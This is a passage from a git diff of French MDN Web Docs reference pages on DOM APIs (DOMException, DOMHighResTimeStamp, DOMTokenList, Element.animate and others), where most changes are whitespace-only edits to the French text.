`NOT_FOUND_ERR`) - `NotSupportedError` - - : L'opération n'est pas supportée. (Valeur de code héritée : `9` et nom de la constante héritée : `NOT_SUPPORTED_ERR`) + - : L'opération n'est pas supportée. (Valeur de code héritée : `9` et nom de la constante héritée : `NOT_SUPPORTED_ERR`) - `InvalidStateError` - - : L'objet est dans un état non valide. (Valeur de code héritée : `11` et nom de la constante héritée : `INVALID_STATE_ERR`) + - : L'objet est dans un état non valide. (Valeur de code héritée : `11` et nom de la constante héritée : `INVALID_STATE_ERR`) - `SyntaxError` - - : La chaîne ne correspond pas au modèle attendu. (Valeur de code héritée : `12` et nom de la constante héritée : `SYNTAX_ERR`) + - : La chaîne ne correspond pas au modèle attendu. (Valeur de code héritée : `12` et nom de la constante héritée : `SYNTAX_ERR`) - `InvalidModificationError` - - : L'objet ne peut pas être modifié de cette manière. (Valeur de code héritée : `13` et nom de la constante héritée : `INVALID_MODIFICATION_ERR`) + - : L'objet ne peut pas être modifié de cette manière. (Valeur de code héritée : `13` et nom de la constante héritée : `INVALID_MODIFICATION_ERR`) - `NamespaceError` - - : L'opération n'est pas autorisée par Namespaces en XML. (Valeur de code héritée : `14` et nom de la constante héritée : `NAMESPACE_ERR`) + - : L'opération n'est pas autorisée par Namespaces en XML. (Valeur de code héritée : `14` et nom de la constante héritée : `NAMESPACE_ERR`) - `InvalidAccessError` - - : L'objet ne prend pas en charge l'opération ou l'argument. (Valeur de code héritée : `15` et nom de la constante héritée : `INVALID_ACCESS_ERR`) + - : L'objet ne prend pas en charge l'opération ou l'argument. (Valeur de code héritée : `15` et nom de la constante héritée : `INVALID_ACCESS_ERR`) - `TypeMismatchError` {{deprecated_inline}} - - : Le type de l'objet ne correspond pas au type attendu. (Valeur de code héritée : `17` et nom de la constante héritée : `TYPE_MISMATCH_ERR`). Cette valeur est dépéciée, l'exception {{jsxref("TypeError")}} JavaScript est maintenant utilisée à la place d'une `DOMException` avec cette valeur. + - : Le type de l'objet ne correspond pas au type attendu. (Valeur de code héritée : `17` et nom de la constante héritée : `TYPE_MISMATCH_ERR`). Cette valeur est dépéciée, l'exception {{jsxref("TypeError")}} JavaScript est maintenant utilisée à la place d'une `DOMException` avec cette valeur. - `SecurityError` {{experimental_inline}} - - : L'opération n'est pas sécurisée. (Valeur de code héritée : `18` et nom de la constante héritée : `SECURITY_ERR`) + - : L'opération n'est pas sécurisée. (Valeur de code héritée : `18` et nom de la constante héritée : `SECURITY_ERR`) - `NetworkError` {{experimental_inline}} - - : Une erreur réseau s'est produite. (Valeur de code héritée : `19` et nom de la constante héritée : `NETWORK_ERR`) + - : Une erreur réseau s'est produite. (Valeur de code héritée : `19` et nom de la constante héritée : `NETWORK_ERR`) - `AbortError` {{experimental_inline}} - - : L'opération a été annulée (Valeur de code héritée : `20` et nom de la constante héritée : `ABORT_ERR`) + - : L'opération a été annulée (Valeur de code héritée : `20` et nom de la constante héritée : `ABORT_ERR`) - `URLMismatchError` {{experimental_inline}} - - : L'URL donnée ne correspond pas à une autre URL. (Valeur de code héritée : `21` et nom de la constante héritée : `URL_MISMATCH_ERR`) + - : L'URL donnée ne correspond pas à une autre URL. (Valeur de code héritée : `21` et nom de la constante héritée : `URL_MISMATCH_ERR`) - `QuotaExceededError` {{experimental_inline}} - - : Le quota a été dépassé. (Valeur de code héritée : `22` et nom de la constante héritée : `QUOTA_EXCEEDED_ERR`) + - : Le quota a été dépassé. (Valeur de code héritée : `22` et nom de la constante héritée : `QUOTA_EXCEEDED_ERR`) - `TimeoutError` {{experimental_inline}} - - : Le temps est dépassé. (Valeur de code héritée : `23` et nom de la constante héritée : `TIMEOUT_ERR`) + - : Le temps est dépassé. (Valeur de code héritée : `23` et nom de la constante héritée : `TIMEOUT_ERR`) - `InvalidNodeTypeError` {{experimental_inline}} - - : Le noeud est incorrect ou a un ancêtre incorrect pour cette opération. (Valeur de code héritée : `24` et nom de la constante héritée : `INVALID_NODE_TYPE_ERR`) + - : Le noeud est incorrect ou a un ancêtre incorrect pour cette opération. (Valeur de code héritée : `24` et nom de la constante héritée : `INVALID_NODE_TYPE_ERR`) - `DataCloneError` {{experimental_inline}} - - : L'objet ne peut pas être cloné. ( Valeur de code héritée : `25` et nom de la constante héritée : `DATA_CLONE_ERR`) + - : L'objet ne peut pas être cloné. ( Valeur de code héritée : `25` et nom de la constante héritée : `DATA_CLONE_ERR`) - `EncodingError` {{experimental_inline}} - : L'opération de codage ou de décodage a échoué (Pas de valeur de code ni de nom de constante hérités). - `NotReadableError` {{experimental_inline}} @@ -95,7 +95,7 @@ Les noms d'erreurs courants sont répertoriés ici. Certaines API définissent l - `OperationError` {{experimental_inline}} - : L'opération a échoué pour une raison spécifique à l'opération (Pas de valeur de code ni de nom de constante hérités). - `NotAllowedError` {{experimental_inline}} - - : La demande n'est pas autorisée par l'agent utilisateur ou la plateforme dans le contexte actuel, peut-être parce que l'utilisateur a refusé la permission (Pas de valeur de code ni de nom de constante hérités). + - : La demande n'est pas autorisée par l'agent utilisateur ou la plateforme dans le contexte actuel, peut-être parce que l'utilisateur a refusé la permission (Pas de valeur de code ni de nom de constante hérités). ## Spécifications diff --git a/files/fr/web/api/domhighrestimestamp/index.md b/files/fr/web/api/domhighrestimestamp/index.md index ac6b5e5805..a9155b492a 100644 --- a/files/fr/web/api/domhighrestimestamp/index.md +++ b/files/fr/web/api/domhighrestimestamp/index.md @@ -5,16 +5,16 @@ translation_of: Web/API/DOMHighResTimeStamp --- {{APIRef("High Resolution Time")}} -Le type **`DOMHighResTimeStamp`** est un `double` et est utilisé pour stocker une valeur temporelle. La valeur peut représenter un point dans le temps ou la différence entre deux points dans le temps. +Le type **`DOMHighResTimeStamp`** est un `double` et est utilisé pour stocker une valeur temporelle. La valeur peut représenter un point dans le temps ou la différence entre deux points dans le temps. -L'unité est la milliseconde et sa précision est en principe de 5 µs (microsecondes). Cependant, si le navigateur n'est pas capable de fournir une valeur temporelle avec une précision de 5 microsecondes (en raison par exemple de contraintes hardware ou software), le navigateur peut représenter la valeur comme un temps en millisecondes avec une précision d'une milliseconde. Référez-vous également à la section ci-dessous concernant la réduction de précision temporelle contrôlée par les préférences du navigateur pour éviter les attaques de synchronisation et le fingerprinting. +L'unité est la milliseconde et sa précision est en principe de 5 µs (microsecondes). Cependant, si le navigateur n'est pas capable de fournir une valeur temporelle avec une précision de 5 microsecondes (en raison par exemple de contraintes hardware ou software), le navigateur peut représenter la valeur comme un temps en millisecondes avec une précision d'une milliseconde. Référez-vous également à la section ci-dessous concernant la réduction de précision temporelle contrôlée par les préférences du navigateur pour éviter les attaques de synchronisation et le fingerprinting. De plus, si l'appareil ou le système d'exploitation sur lequel tourne le navigateur n'est pas doté d'une horloge avec une précision de l'ordre de la microseconde, la précision peut également être de l'ordre de la milliseconde. ## Précision temporelle réduite -Pour offrir une protection contre les attaques de synchronisation et le fingerprinting, la précision des timestamps peut être arrondie en fonction des préférences du navigateur. -Dans Firefox, l'option `privacy.reduceTimerPrecision` est activée par défaut et vaut 20µs par défaut dans Firefox 59; dans la version 60 cette valeur est portée à 2ms par défaut. +Pour offrir une protection contre les attaques de synchronisation et le fingerprinting, la précision des timestamps peut être arrondie en fonction des préférences du navigateur. +Dans Firefox, l'option `privacy.reduceTimerPrecision` est activée par défaut et vaut 20µs par défaut dans Firefox 59; dans la version 60 cette valeur est portée à 2ms par défaut. ```js // précision temporelle réduite (2ms) dans Firefox 60 @@ -33,7 +33,7 @@ event.timeStamp; // ... ``` -Dans Firefox, vous pouvez aussi activer `privacy.resistFingerprinting`, la précision sera alors de 100ms ou la valeur de `privacy.resistFingerprinting.reduceTimerPrecision.microseconds`, la valeur la plus large étant retenue. +Dans Firefox, vous pouvez aussi activer `privacy.resistFingerprinting`, la précision sera alors de 100ms ou la valeur de `privacy.resistFingerprinting.reduceTimerPrecision.microseconds`, la valeur la plus large étant retenue. ## Propriétés @@ -41,19 +41,19 @@ Dans Firefox, vous pouvez aussi activer `privacy.resistFingerprinting`, la pré ### Valeur -La valeur d'un `DOMHighResTimeStamp` est un nombre flottant double précision qui décrit le nombre de millisecondes (avec une précision de 5 microsecondes si l'appareil le supporte) écoulé entre deux points dans le temps. Le temps de départ peut être soit un point spécifique dans le temps déterminé par le script d'un site web ou d'une application, ou l'**origine temporelle**. +La valeur d'un `DOMHighResTimeStamp` est un nombre flottant double précision qui décrit le nombre de millisecondes (avec une précision de 5 microsecondes si l'appareil le supporte) écoulé entre deux points dans le temps. Le temps de départ peut être soit un point spécifique dans le temps déterminé par le script d'un site web ou d'une application, ou l'**origine temporelle**. #### L'origine temporelle -L'**origine temporelle** est une heure qui est considéré comme l'heure de commencement de la vie du document. Elle est calculée comme suit : +L'**origine temporelle** est une heure qui est considéré comme l'heure de commencement de la vie du document. Elle est calculée comme suit : - Si l'{{Glossary("objet global")}} du script est {{domxref("Window")}}, l'origine temporelle est déterminée comme suit : - Si le {{domxref("Document")}} courant est le premier à être chargé dans la fenêtre, l'origine temporelle est l'heure à laquelle le contexte du navigateur a été créé. - Si pendant le processus de déchargement du document précédemment chargé dans la fenêtre, un dialogue de confirmation a été affiché pour demander à l'utilisateur de confirmer s'il souhaite quitter la page précédente, l'origine temporelle est l'heure à laquelle l'utilisateur a confirmé que naviguer vers la nouvelle page était acceptable. - - Si aucun des points ci-dessus ne détermine l'origine temporelle, celle-ci est l'heure à laquelle la navigation responsable de la création du `Document` courant de la fenêtre a eu lieu. + - Si aucun des points ci-dessus ne détermine l'origine temporelle, celle-ci est l'heure à laquelle la navigation responsable de la création du `Document` courant de la fenêtre a eu lieu. -- Si l'objet global du script est un {{domxref("WorkerGlobalScope")}} (si le script tourne comme un _web worker_), l'origine temporelle est le moment auquel le worker a été créé. +- Si l'objet global du script est un {{domxref("WorkerGlobalScope")}} (si le script tourne comme un _web worker_), l'origine temporelle est le moment auquel le worker a été créé. - Dans tous les autres cas, l'origine temporelle est `undefined`. ## Méthodes diff --git a/files/fr/web/api/domimplementation/createdocumenttype/index.md b/files/fr/web/api/domimplementation/createdocumenttype/index.md index 9c5aaa7d57..1e99f3a187 100644 --- a/files/fr/web/api/domimplementation/createdocumenttype/index.md +++ b/files/fr/web/api/domimplementation/createdocumenttype/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/DOMImplementation/createDocumentType --- {{ ApiRef("DOM")}} -La méthode **`DOMImplementation.createDocumentType()`** renvoie un objet {{domxref("DocumentType")}} qui peut être utilisé avec {{domxref("DOMImplementation.createDocument")}} lors de la création du document ou peut être intégré au document existant avec des méthodes comme {{domxref("Node.insertBefore()")}} ou {{domxref("Node.replaceChild()")}}. +La méthode **`DOMImplementation.createDocumentType()`** renvoie un objet {{domxref("DocumentType")}} qui peut être utilisé avec {{domxref("DOMImplementation.createDocument")}} lors de la création du document ou peut être intégré au document existant avec des méthodes comme {{domxref("Node.insertBefore()")}} ou {{domxref("Node.replaceChild()")}}. ## Syntaxe @@ -40,7 +40,7 @@ var d = document.implementation.createDocument('http://www.w3.org/2000/svg', 'sv alert(d.doctype.publicId); // -//W3C//DTD SVG 1.1//EN ``` -## Spécifications +## Spécifications | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------------- | diff --git a/files/fr/web/api/domimplementation/createhtmldocument/index.md b/files/fr/web/api/domimplementation/createhtmldocument/index.md index 05b850a02f..dffa2c45b9 100644 --- a/files/fr/web/api/domimplementation/createhtmldocument/index.md +++ b/files/fr/web/api/domimplementation/createhtmldocument/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument --- {{ApiRef("DOM")}}{{SeeCompatTable}} -La méthode **`DOMImplementation.createHTMLDocument()`** crée un nouveau {{domxref("Document")}} HTML. +La méthode **`DOMImplementation.createHTMLDocument()`** crée un nouveau {{domxref("Document")}} HTML. ## Syntaxe @@ -21,7 +21,7 @@ La méthode **`DOMImplementation.createHTMLDocument()`** crée un nouveau {{do ### Paramètres -- *title* {{optional_inline}} (excepté dans IE) +- *title* {{optional_inline}} (excepté dans IE) - : C'est une {{domxref("DOMString")}} qui contient le titre à donner au nouveau document HTML. ## Exemple diff --git a/files/fr/web/api/dommatrix/index.md b/files/fr/web/api/dommatrix/index.md index 58d5e2eada..da4048b6d5 100644 --- a/files/fr/web/api/dommatrix/index.md +++ b/files/fr/web/api/dommatrix/index.md @@ -10,7 +10,7 @@ original_slug: Web/API/CSSMatrix --- {{APIRef("CSSOM")}}{{Non-standard_header}} -Une **`CSSMatrix`** représente une matrice homogène 4x4 dans laquelle il est possible d'appliquer des transformations 2D ou 3D. Cette classe faisait à un moment partie du module de transitions CSS (Level 3) mais elle n'a pas été propagée dans le brouillon de travail (_Working Draft_) actuel. Utilisez plutôt `DOMMatrix.` +Une **`CSSMatrix`** représente une matrice homogène 4x4 dans laquelle il est possible d'appliquer des transformations 2D ou 3D. Cette classe faisait à un moment partie du module de transitions CSS (Level 3) mais elle n'a pas été propagée dans le brouillon de travail (_Working Draft_) actuel. Utilisez plutôt `DOMMatrix.` ## Compatibilé des navigateurs @@ -20,6 +20,6 @@ Une **`CSSMatrix`** représente une matrice homogène 4x4 dans laquelle il est ## Voir aussi -- [MSDN : `Documentation sur MSCSSMatrix`](<https://msdn.microsoft.com/en-us/library/ie/hh772390(v=vs.85).aspx>) +- [MSDN : `Documentation sur MSCSSMatrix`](<https://msdn.microsoft.com/en-us/library/ie/hh772390(v=vs.85).aspx>) - [Safari Developer Library : Documentation sur WebKitCSSMatrix](https://developer.apple.com/library/safari/documentation/AudioVideo/Reference/WebKitCSSMatrixClassReference/index.html) -- [Mozilla : Bug 717722 : Exécution de `(WebKit)CSSMatrix()`](https://bugzilla.mozilla.org/show_bug.cgi?id=717722) +- [Mozilla : Bug 717722 : Exécution de `(WebKit)CSSMatrix()`](https://bugzilla.mozilla.org/show_bug.cgi?id=717722) diff --git a/files/fr/web/api/domobject/index.md b/files/fr/web/api/domobject/index.md index b1952e52f3..ab37e0cce5 100644 --- a/files/fr/web/api/domobject/index.md +++ b/files/fr/web/api/domobject/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/DOMObject --- {{APIRef("DOM")}}{{Obsolete_header}} -L'interface obsolète **`DOMObject`** était utilisée dans les versions antérieures de la spécification DOM comme classe de base pour tout type de données. Les spécifications maintenant utilisent simplement le type {{jsxref("Object")}} JavaScript . +L'interface obsolète **`DOMObject`** était utilisée dans les versions antérieures de la spécification DOM comme classe de base pour tout type de données. Les spécifications maintenant utilisent simplement le type {{jsxref("Object")}} JavaScript . ## Spécifications diff --git a/files/fr/web/api/dompoint/index.md b/files/fr/web/api/dompoint/index.md index 95225b3515..3956bc37ea 100644 --- a/files/fr/web/api/dompoint/index.md +++ b/files/fr/web/api/dompoint/index.md @@ -44,7 +44,7 @@ _`DOMPoint` hérite des propriétés de son parent {{domxref("DOMPointReadOnly") ## Exemples -Dans l' [API WebVR](/fr/docs/Web/API/WebVR_API) (_VR = réalité virtuelle_), les valeurs `DOMPoint` sont utilisées pour représenter les points dans l'espace de coordonnées dans lequel l'affichage monté sur la tête de l'utilisateur existe. Dans l'extrait suivant, la position du VR HMD peut être récupérée en saisissant d'abord une référence à l'état actuel du capteur de position avec {{domxref("PositionSensorVRDevice.getState")}}, puis en accédant au résultat de la {{domxref("VRPositionState.position","position")}} de la propriété {{domxref("VRPositionState")}}, qui renvoie un `DOMPoint`. Notez ci-dessous l'utilisation de `position.x`, `position.y` et `position.z`. +Dans l' [API WebVR](/fr/docs/Web/API/WebVR_API) (_VR = réalité virtuelle_), les valeurs `DOMPoint` sont utilisées pour représenter les points dans l'espace de coordonnées dans lequel l'affichage monté sur la tête de l'utilisateur existe. Dans l'extrait suivant, la position du VR HMD peut être récupérée en saisissant d'abord une référence à l'état actuel du capteur de position avec {{domxref("PositionSensorVRDevice.getState")}}, puis en accédant au résultat de la {{domxref("VRPositionState.position","position")}} de la propriété {{domxref("VRPositionState")}}, qui renvoie un `DOMPoint`. Notez ci-dessous l'utilisation de `position.x`, `position.y` et `position.z`. ```js function setView() { diff --git a/files/fr/web/api/dompointreadonly/index.md b/files/fr/web/api/dompointreadonly/index.md index 8685e88378..f0eb1a9a4b 100644 --- a/files/fr/web/api/dompointreadonly/index.md +++ b/files/fr/web/api/dompointreadonly/index.md @@ -16,14 +16,14 @@ L'interface **`DOMPointReadOnly`** spécifie les propriétés standard utilisée ## Constructeur - {{domxref("DOMPointReadOnly.DOMPointReadOnly","DOMPointReadOnly()")}} - - : Défini pour créer un nouvel objet `DOMPointReadOnly`, mais notez que ce constructeur ne peut pas être appelé par un JavaScript tiers : ce faisant, il retourne un typeError "constructeur illégal" . + - : Défini pour créer un nouvel objet `DOMPointReadOnly`, mais notez que ce constructeur ne peut pas être appelé par un JavaScript tiers : ce faisant, il retourne un typeError "constructeur illégal" . ## Méthodes - {{domxref("DOMPointReadOnly.fromPoint")}} - : Traduit la position / perspective d'un `DOMPoint` à une nouvelle position (ne semble pas encore être pris en charge). - {{domxref("DOMPointReadOnly.matrixTransform")}} - - : Applique une transformation matricielle à un objet `DOMPointReadOnly` (ne semble pas encore être pris en charge). + - : Applique une transformation matricielle à un objet `DOMPointReadOnly` (ne semble pas encore être pris en charge). - {{domxref("DOMPointReadOnly.toJSON()")}} - : Renvoie une représentation JSON de l'objet `DOMPointReadOnly`. diff --git a/files/fr/web/api/domrect/index.md b/files/fr/web/api/domrect/index.md index 103be19e93..c5eb93d38f 100644 --- a/files/fr/web/api/domrect/index.md +++ b/files/fr/web/api/domrect/index.md @@ -39,9 +39,9 @@ _`DOMRect` hérite des propriétés de son parent {{domxref("DOMRectReadOnly")}} - {{domxref("DOMRectReadOnly.top")}} - : Renvoie la valeur de la coordonnée supérieure de `DOMRect` (a la même valeur que `y`, ou `y + height` _(y + hauteur)_ si `height` est négative). - {{domxref("DOMRectReadOnly.right")}} - - : Renvoie la valeur de la coordonnée droite du `DOMRect` (a la même valeur que `x + width` _(x + largeur)_, ou `x` si `width` est négative). + - : Renvoie la valeur de la coordonnée droite du `DOMRect` (a la même valeur que `x + width` _(x + largeur)_, ou `x` si `width` est négative). - {{domxref("DOMRectReadOnly.bottom")}} - - : Renvoie la valeur de la coordonnée du bas du `DOMRect` (a la même valeur que `y + height` _(y + hauteur)_, ou `y` si `height` est négative). + - : Renvoie la valeur de la coordonnée du bas du `DOMRect` (a la même valeur que `y + height` _(y + hauteur)_, ou `y` si `height` est négative). - {{domxref("DOMRectReadOnly.left")}} - : Renvoie la valeur de la coordonnée de gauche du `DOMRect` (a la même valeur que `x`, ou `x + width` _(x + largeur)_ si `width` est négative). diff --git a/files/fr/web/api/domstringlist/index.md b/files/fr/web/api/domstringlist/index.md index 2ea3072d6e..649ab42490 100644 --- a/files/fr/web/api/domstringlist/index.md +++ b/files/fr/web/api/domstringlist/index.md @@ -28,4 +28,4 @@ Un type renvoyé par certaines API contenant une liste de [DOMString](/fr/docs/W | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------- | -| {{SpecName("HTML WHATWG", "common-dom-interfaces.html#the-domstringlist-interface", "DOMStringList")}} | {{Spec2("HTML WHATWG")}} | Définition initiale. | +| {{SpecName("HTML WHATWG", "common-dom-interfaces.html#the-domstringlist-interface", "DOMStringList")}} | {{Spec2("HTML WHATWG")}} | Définition initiale. | diff --git a/files/fr/web/api/domtokenlist/add/index.md b/files/fr/web/api/domtokenlist/add/index.md index 7320b0432f..13d500a5e0 100644 --- a/files/fr/web/api/domtokenlist/add/index.md +++ b/files/fr/web/api/domtokenlist/add/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/DOMTokenList/add --- {{APIRef("DOM")}} -La méthode **`add()`** de l'interface {{domxref("DOMTokenList")}} ajoute le _token_ (_marque_) à la liste. +La méthode **`add()`** de l'interface {{domxref("DOMTokenList")}} ajoute le _token_ (_marque_) à la liste. ## Syntaxe @@ -22,7 +22,7 @@ Vide. ## Exemples -Dans l'exemple suivant, nous récupérons une liste des classes définies sur un élément {{htmlelement("span")}} en tant que `DOMTokenList`, en utilisant {{domxref("Element.classList")}}. Nous ajoutons alors une nouvelle marque à la liste et écrivons la liste dans un {{domxref("Node.textContent")}} du `<span>`. +Dans l'exemple suivant, nous récupérons une liste des classes définies sur un élément {{htmlelement("span")}} en tant que `DOMTokenList`, en utilisant {{domxref("Element.classList")}}. Nous ajoutons alors une nouvelle marque à la liste et écrivons la liste dans un {{domxref("Node.textContent")}} du `<span>`. Tout d'abord, le code HTML : diff --git a/files/fr/web/api/domtokenlist/entries/index.md b/files/fr/web/api/domtokenlist/entries/index.md index 784e530c17..0289af378e 100644 --- a/files/fr/web/api/domtokenlist/entries/index.md +++ b/files/fr/web/api/domtokenlist/entries/index.md @@ -17,7 +17,7 @@ Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}. ## Exemples -Dans l'exemple suivant, nous récupérons la liste des classes définies sur un élément {{htmlelement("span")}} en tant que `DOMTokenList` en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les paires clé / valeur en utilisant `entries()`, puis parcourons chacune d'entre elles en utilisant une boucle [for ... of](/fr/docs/Web/JavaScript/Reference/Instructions/for...of) , et les écrivons dans un {{domxref("Node.textContent")}} du `<span>`. +Dans l'exemple suivant, nous récupérons la liste des classes définies sur un élément {{htmlelement("span")}} en tant que `DOMTokenList` en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les paires clé / valeur en utilisant `entries()`, puis parcourons chacune d'entre elles en utilisant une boucle [for ... of](/fr/docs/Web/JavaScript/Reference/Instructions/for...of) , et les écrivons dans un {{domxref("Node.textContent")}} du `<span>`. D'abord le HTML : diff --git a/files/fr/web/api/domtokenlist/foreach/index.md b/files/fr/web/api/domtokenlist/foreach/index.md index 84e4fee3b2..ac02cc467c 100644 --- a/files/fr/web/api/domtokenlist/foreach/index.md +++ b/files/fr/web/api/domtokenlist/foreach/index.md @@ -34,7 +34,7 @@ La méthode **`forEach()`** de l'interface {{domxref("DOMTokenList")}} appelle l ## Exemple -Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que `DOMTokenList` en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les valeurs avec `forEach()` et écrivons chacune d'elles dans le {{domxref("Node.textContent")}} du `<span>` pendant l'exécution de la fonction interne `forEach()`. +Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que `DOMTokenList` en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les valeurs avec `forEach()` et écrivons chacune d'elles dans le {{domxref("Node.textContent")}} du `<span>` pendant l'exécution de la fonction interne `forEach()`. ### HTML diff --git a/files/fr/web/api/domtokenlist/index.md b/files/fr/web/api/domtokenlist/index.md index 8750f06b0b..b701e7a9f6 100644 --- a/files/fr/web/api/domtokenlist/index.md +++ b/files/fr/web/api/domtokenlist/index.md @@ -12,7 +12,7 @@ L'interface **`DOMTokenList`** représente un ensemble de marques (« <i la - {{domxref("DOMTokenList.length")}} {{ReadOnlyInline}} - : Un entier qui représente le nombre d'objets qui sont stockés dans l'objet. - {{domxref("DOMTokenList.value")}} {{ReadOnlyInline}} - - : retourne la valeur de la liste comme une {{domxref("DOMString")}} _(chaîne de caractères)._ + - : retourne la valeur de la liste comme une {{domxref("DOMString")}} _(chaîne de caractères)._ ## Méthodes diff --git a/files/fr/web/api/domtokenlist/supports/index.md b/files/fr/web/api/domtokenlist/supports/index.md index 8fdc4d6e12..31de5d2d12 100644 --- a/files/fr/web/api/domtokenlist/supports/index.md +++ b/files/fr/web/api/domtokenlist/supports/index.md @@ -13,7 +13,7 @@ La méthode **`supports()`** de l'interface {{domxref("DOMTokenList")}} renvoie ## Syntaxe - var boolean = element.supports(token) + var boolean = element.supports(token) ### Paramètres diff --git a/files/fr/web/api/element/animate/index.md b/files/fr/web/api/element/animate/index.md index 3dd6bd44b9..9e09f19c88 100644 --- a/files/fr/web/api/element/animate/index.md +++ b/files/fr/web/api/element/animate/index.md @@ -5,16 +5,16 @@ tags: - API translation_of: Web/API/Element/animate --- -{{APIRef('Web Animations')}} {{SeeCompatTable}} +{{APIRef('Web Animations')}} {{SeeCompatTable}} -La méthode **`Element.animate()`** est un raccourci permettant de créer et jouer une animation sur un élément. Elle retourne l'instance de type {{domxref("Animation")}} alors créée. +La méthode **`Element.animate()`** est un raccourci permettant de créer et jouer une animation sur un élément. Elle retourne l'instance de type {{domxref("Animation")}} alors créée. -> **Note :** Les éléments peuvent avoir plusieurs animations. Vous pouvez obtenir une liste des animations qui affectent un élément en appelant {{domxref("Element.getAnimations()")}}. +> **Note :** Les éléments peuvent avoir plusieurs animations. Vous pouvez obtenir une liste des animations qui affectent un élément en appelant {{domxref("Element.getAnimations()")}}. ## Syntaxe ```js -element.animate(keyframes, options); +element.animate(keyframes, options); ``` ### Paramèters @@ -26,7 +26,7 @@ element.animate(keyframes, options); - : Un nombre entier (_Integer_) **représentant la durée de l'animation** (en millisecondes), ou un objet (_Object_) **contenant une ou plusieurs propriétés de timing**: - `id {{optional_inline}}` - - : Une propriété unique pour `animate()`: une [`DOMString`](/en-US/docs/Web/API/DOMString) qui permet de référencer l'animation. + - : Une propriété unique pour `animate()`: une [`DOMString`](/en-US/docs/Web/API/DOMString) qui permet de référencer l'animation. {{Page("/en-US/docs/Web/API/Web_Animations_API/Animation_timing_properties", "Properties")}} @@ -36,20 +36,20 @@ Les options suivantes n'ont pas encore été implémentées, mais seront ajouté - `composite {{optional_inline}}` - - : Détermine comment sont combinées les valeurs de cette animation avec d'autres animations qui ne spécifient pas leur propre opération composite. La valeur par défaut est `replace`. + - : Détermine comment sont combinées les valeurs de cette animation avec d'autres animations qui ne spécifient pas leur propre opération composite. La valeur par défaut est `replace`. - - `add` induit un effet d'ajout, dans lequel chaque itération successive se construit sur la précédente. Par exemple pour `transform`, une valeur `translateX(-200px)` n'annulerait pas une précédente valeur `rotate(20deg)` mais s'y ajouterait, pour donner `translateX(-200px) rotate(20deg)`. - - `accumulate` est similaire mais un peu plus intéressant: `blur(2)` et `blur(5)` deviennent `blur(7) et non` `blur(2) blur(5)`. + - `add` induit un effet d'ajout, dans lequel chaque itération successive se construit sur la précédente. Par exemple pour `transform`, une valeur `translateX(-200px)` n'annulerait pas une précédente valeur `rotate(20deg)` mais s'y ajouterait, pour donner `translateX(-200px) rotate(20deg)`. + - `accumulate` est similaire mais un peu plus intéressant: `blur(2)` et `blur(5)` deviennent `blur(7) et non` `blur(2) blur(5)`. - `replace`, quand à elle, remplace la précédente valeur par la nouvelle. - `iterationComposite {{optional_inline}}` - - : Détermine comment les valeurs se construisent, d'itération en itération, **dans une même animation**. Peut être définie par `accumulate` ou `replace` (voir ci-dessus). La valeur par défaut est `replace`. + - : Détermine comment les valeurs se construisent, d'itération en itération, **dans une même animation**. Peut être définie par `accumulate` ou `replace` (voir ci-dessus). La valeur par défaut est `replace`. - `spacing {{optional_inline}}` - - : Détermine comment les keyframes sans offset temporel devraient être réparties sur la durée de l'animation. La valeur par défaut est `distribute`. + - : Détermine comment les keyframes sans offset temporel devraient être réparties sur la durée de l'animation. La valeur par défaut est `distribute`. - - `distribute` positionne les keyframes de façon à ce que les différences entre deux offsets de keyframes successifs soient égaux, c'est-à-dire que, sans aucun offset, les keyframes seront distribuées régulièrement / également sur toute la durée de l'animation. - - `paced` positionne les keyframes de façon à ce que les distances entre deux valeurs successives d'une propriété spécifiée par "paced" soient égales, c'est-à-dire que plus la différence entre les valeurs de ces propriétés successives est grande, plus les keyframes seront éloignées les unes des autres. + - `distribute` positionne les keyframes de façon à ce que les différences entre deux offsets de keyframes successifs soient égaux, c'est-à-dire que, sans aucun offset, les keyframes seront distribuées régulièrement / également sur toute la durée de l'animation. + - `paced` positionne les keyframes de façon à ce que les distances entre deux valeurs successives d'une propriété spécifiée par "paced" soient égales, c'est-à-dire que plus la différence entre les valeurs de ces propriétés successives est grande, plus les keyframes seront éloignées les unes des autres. ### Valeur de retour @@ -57,17 +57,17 @@ Retourne un objet de type {{domxref("Animation")}}. ## Exemple -Dans la démo [Down the Rabbit Hole (with the Web Animation API)](https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010), la méthode `animate()` est utilisée pour immédiatement créer et jouer une animation sur l'élément `#tunnel,` pour le faire défiler vers le haut, indéfiniment. Remarquez le tableau d'objets définissant les keyframes et le bloc contenant les options de timing de l'animation. +Dans la démo [Down the Rabbit Hole (with the Web Animation API)](https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010), la méthode `animate()` est utilisée pour immédiatement créer et jouer une animation sur l'élément `#tunnel,` pour le faire défiler vers le haut, indéfiniment. Remarquez le tableau d'objets définissant les keyframes et le bloc contenant les options de timing de l'animation. ```js document.getElementById("tunnel").animate([ - // keyframes - { transform: 'translateY(0px)' }, - { transform: 'translateY(-300px)' } + // keyframes + { transform: 'translateY(0px)' }, + { transform: 'translateY(-300px)' } ], { - // timing options - duration: 1000, - iterations: Infinity + // timing options + duration: 1000, + iterations: Infinity }); ``` diff --git a/files/fr/web/api/element/attachshadow/index.md b/files/fr/web/api/element/attachshadow/index.md index 8914f7d219..00b166916d 100644 --- a/files/fr/web/api/element/attachshadow/index.md +++ b/files/fr/web/api/element/attachshadow/index.md @@ -3,9 +3,9 @@ title: Element.attachShadow() slug: Web/API/Element/attachShadow translation_of: Web/API/Element/attachShadow --- -{{APIRef('Shadow DOM')}} {{SeeCompatTable}} +{{APIRef('Shadow DOM')}} {{SeeCompatTable}} -La méthode **`Element.attachShadow()`** attache un arbre Shadow DOM à un élément spécifié et retourne une référence à son 